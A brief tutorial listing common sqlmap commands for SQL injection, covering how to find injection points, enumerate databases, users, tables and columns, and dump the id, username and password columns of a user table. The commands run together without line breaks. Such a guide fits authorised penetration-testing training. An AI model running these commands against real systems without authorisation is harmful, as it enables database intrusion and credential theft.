Introduction to common commands in SQLMap

Sqlmap is an open-source command-line automated SQL injection tool, developed in Python. sqlmap is already installed in the system in kali; if it is used under windows, the Python environment needs to be installed.The following introduces the most commonly used commands of Sqlmap:

sqlmap -u url: find injection pointsqlmap -u url --dbs: list databasessqlmap -u url --current-db: show current databasesqlmap -u url --users: list database userssqlmap -u url --current-user: list current database userssqlmap -u url --tables -D "testDB": list the tables of the testDB databasesqlmap -u url --columns -T "user" -D "testDB": List the columns of the user table of the testDB databasesqlmap -u url --dump -C "id,username,password" -T "user" -D "testDB": columnGet the data of the id, username, and password columns of the user table of the testDB database.

Note: The content within " " needs to be replaced more realistically!